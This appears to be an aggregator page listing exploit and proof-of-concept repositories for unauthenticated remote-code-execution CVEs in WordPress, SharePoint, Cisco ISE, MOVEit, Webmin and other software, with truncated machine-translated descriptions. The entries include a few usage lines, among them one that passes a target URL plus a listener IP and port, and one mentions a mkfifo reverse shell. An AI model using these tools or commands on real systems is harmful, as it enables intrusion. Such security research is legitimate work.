wp2shell-scan

wp2shell-scan CVE-2026-63030 wp2shell के लिए एक स्कैनर और प्रूफ-ऑफ-कॉन्सेप्ट टूलकिट, जो WordPress कोर में एक प्री-ऑथेंटिकेटेड रिमोट कोड निष्पादन भेद्यता है विशेषताएँ दो गैर-विनाशकारी पता लगाने के तरीके: --check-type time-based SLEEP टाइमिंग और --check-type error-based TRUE/FALSE/टूटा डिफरेंशियल।...

CVE-2025-53770

SharePoint ToolPane RCE एक्सप्लॉइट SharePoint ToolPane कमजोरियों के परीक्षण के लिए सुरक्षा अनुसंधान टूलकिट अवलोकन • विशेषताएँ • आरंभ करना • उपयोग • परियोजना संरचना यह रिपॉज़िटरी SharePoint ToolPane कमजोरी CVE-2025-53770 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और विश्लेषण उपकरण शामिल करता है। यह...

zoneminder-snapshots-rce-poc

Zoneminder Неавторизованное RCE через снимки CVE-2023-26035 POC Это скрипт на Python, который позволяет эксплуатировать уязвимость безопасности Zoneminder , описанную в CVE-2023-26035. Система уязвима в версиях до 1.36.33 и 1.37.33. Использование Клонируйте репозиторий на свой компьютер и...

CVE-2018-11770

CVE-2018-11770 أباتشي سبارك ثغرة تنفيذ أوامر عن بعد لشل عكسي غير مصادق أداة استغلال مستقلة بلغة Python 3 لثغرة تنفيذ أوامر عن بعد في أباتشي سبارك، معاد كتابتها من وحدة Metasploit هذه إثبات المفهوم POC للاستغلال موضح هنا. كود الاستغلال نفسه موضح هنا. تم اختباره مع Python 3.7 على هذا الهدف...

CVE-2022-24355

CVE-2022-24355 استغلال تنفيذ الأوامر عن بُعد RCE في جهاز Tplink wr841 v10 دون الحاجة إلى مصادقة ⚠️ إخلاء مسؤولية الكود الموجود في هذا المستودع مُقدَّم كما هو لأغراض تعليمية وبحوث الأمن الدفاعي فقط. استخدمه فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام...

CVE-2026-57827

CVE-2026-57827 — ثغرة رفع ملفات غير مصادق عليها في مكوّن RSFiles! لـ Joomla تؤدي إلى RCE تجاوز الرفع عبر المتحكّم المقسوم → استدعاء مباشر لمهمة الكتابة → /downloads/shell.php → RCE نظرة عامة CVE-2026-57827 هي ثغرة رفع عشوائي للملفات غير مصادق عليها بدرجة خطورة حرجة CVSS 9.8 في RSFiles! comrsfiles...

react2shell-lab

مختبر React2Shell - CVE-2025-55182 مختبر شامل لعرض واختبار الثغرة الحرجة CVE-2025-55182 في مكوّنات React Server. ⚠️ للأغراض التعليمية فقط هذا المستودع مخصّص لـ: البحث والتعليم الأمني فهم آليات الثغرات الاختبار على أنظمتك الخاصة التحضير لصيد المكافآت الأمنية Bug Bounty لا تستخدمه ضد أنظمة لا تملكها...

OMIGOD_cve-2021-38647

OMIGODcve-2021-38647 CVE-2021-38647 هي ثغرة في تنفيذ الأوامر عن بعد غير مصادق عليها تؤثر على وكيل OMI كجذر. أثناء تنفيذ الحمولة تغيير HOST الأمر: استبدل الأمر الخاص بك بـ Command here. مثل id, whoami إلخ الإسناد https://github.com/horizon3ai/CVE-2021-38647 تابعنا Vulnmachines YouTube Twitter...

CVE-2024-42640

CVE-2024-42640 बिना प्रमाणीकरण के रिमोट कोड निष्पादन Angular-Base64-Upload लाइब्रेरी के माध्यम से CVE-2024-42640 Angular-base64-upload v0.1.21 से पहले के संस्करण angular-base64-upload/demo/server.php एंडपॉइंट के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन के लिए असुरक्षित हैं। इस कमजोरी का...

VMware_vCenter_UNAuthorized_RCE_CVE-2021-21972

VMwarevCenterUNAuthorizedRCECVE-2021-21972 zoomeye dork：app:"VMware vCenter" نص كشف غير ضار مكتوب باستخدام pocsuite3 VMwarevCenterUNAuthorizedRCE.py، واستخدام بيانات ما يقرب من عام للكشف: معدل النجاح約：1551 / 3998 = 39%...

EXPLOIT-CVE-2026-26216

CVE-2026-26216 — hooks के माध्यम से Crawl4AI अनऑथेंटिकेटेड RCE GHSA-5882-5rx9-xgxp CVSS 10.0 · pre-auth RCE · CWE-94 Code Injection Crawl4AI फ़ील्ड में मनमाना Python कोड स्वीकार करता है। यह कोड एक "घरेलू सैंडबॉक्स" — प्रतिबंधित builtins का शब्दकोश — के अंदर exec के साथ निष्पादित होता है। लेकिन , ...

CVE-2025-20281-2-Cisco-ISE-RCE

CVE-2025-20281-2-Cisco-ISE-RCE PoC بايثون غير مصادق لثغرة CVE-2025-20281 RCE ضد Cisco ISE API CVE-2025-20281 PoC غير مصادق إثبات مفهوم بسيط بلغة بايثون يستغل ثغرة RCE غير المصادقة في واجهة ERS API الخاصة بـ Cisco ISE CVE-2025-20281 عن طريق حقن أوامر شل عشوائية في مورد InternalUser. تحذير: قم...

MoveIT-CVE-2023-34362-RCE

CVE-2023-34362: MOVEit Transfer बिना प्रमाणीकरण के RCE भेद्यता और शोषण के पूर्ण तकनीकी विवरण के लिए, कृपया हमारा AttackerKB Analysis पढ़ें। उपयोग ruby move.rb ruby move.rb 192.168.86.111 + प्रारंभ हो रहा है। target='https://192.168.86.111'. + प्रारंभिक सत्र टोकन '3el524tvmjs4iceurhm1r2cq' और Inst...

TerraMaster-TOS-CVE-2020-15568

TerraMaster TOS CVE-2020-15568 مستودع لوحدة Metasploit الخاصة بـ CVE-2020-15568 التطبيق الضعيف الوصف توجد ثغرة استدعاء ديناميكي لطريقة فئة في الملف include/exportUser.php مما يؤدي إلى تنفيذ أوامر عن بُعد على أجهزة TerraMaster بصلاحيات الجذر root. يتطلب الملف الضعيف توفير عدة معاملات HTTP GET من أ...

CVE-2024-25600

CVE-2024-25600 تنفيذ عن بُعد لرمز برمجي بدون مصادقة – Bricks الاستخدام: python3 bricks.py مثال: python3 bricks.py https://example.org المرجع: https://github.com/Chocapikk/CVE-2024-25600...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - Неаутентифицированное удаленное выполнение кода https://vulners.com/cve/CVE-2022-24637 Пример root@kitploit: python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

webmin_1.920

CVE-2019-15107 Webmin 1.920 अप्रमाणित रिमोट कमांड निष्पादन CVE-2019-15107 Webmin 1.920 अप्रमाणित रिमोट कमांड निष्पादन के लिए एक python3 स्क्रिप्ट जो फ़ायरवॉल चकमा देने के लिए mkfifo का उपयोग करके एक रिवर्स शेल या एक स्यूडो इंटरैक्टिव शेल बनाती है आरंभ करना प्रोग्राम निष्पादित करना python3 के साथ...

CVE-2025-53770

CVE-2025-53770 هذا ماسح ضوئي لـ ثغرة تنفيذ الأوامر عن بُعد غير المصادق عليها في SharePoint، والتي تم تخصيص الرقم CVE-2025-53770 لها. تم كتابة هذا الكود عن طريق الهندسة العكسية لحمولة تم رؤيتها في البرية. استخدم على مسؤوليتك الخاصة، لست مسؤولاً عن أي تأثير سلبي قد يسببه ذلك. كيف يعمل؟ يحاول استغلا...

Langflow-CVE-2025-3248-Multi-target

⚠️ Langflow RCE शोषण स्कैनर CVE-2025-3248 यह Python-आधारित स्कैनर CVE-2025-3248 के माध्यम से Langflow इंस्टेंस में अप्रमाणित रिमोट कोड निष्पादन RCE कमजोरियों का पता लगाने को स्वचालित करता है। यह एक प्रूफ-ऑफ-कॉन्सेप्ट पेलोड का उपयोग करता है जो /api/v1/validate/code एंडपॉइंट का दुरुपयोग करके मनमाना...

sagex3-cve-2020-7388-poc

sagex3-cve-2020-7388-poc كود استغلال لإثبات المفهوم PoC لـ CVE-2020-7388، وهو تنفيذ أوامر عن بُعد RCE غير مصادق عليه بصلاحيات SYSTEM على خدمة AdxDSrv في Sage X3 نظرة عامة تعرض Sage X3 خدمة إدارية على المنفذ TCP/1818 الافتراضي، لكنه قابل للتغيير ضمن العملية "AdxDSrv.exe"، وهي جزء من مكوّن AdxAdmin...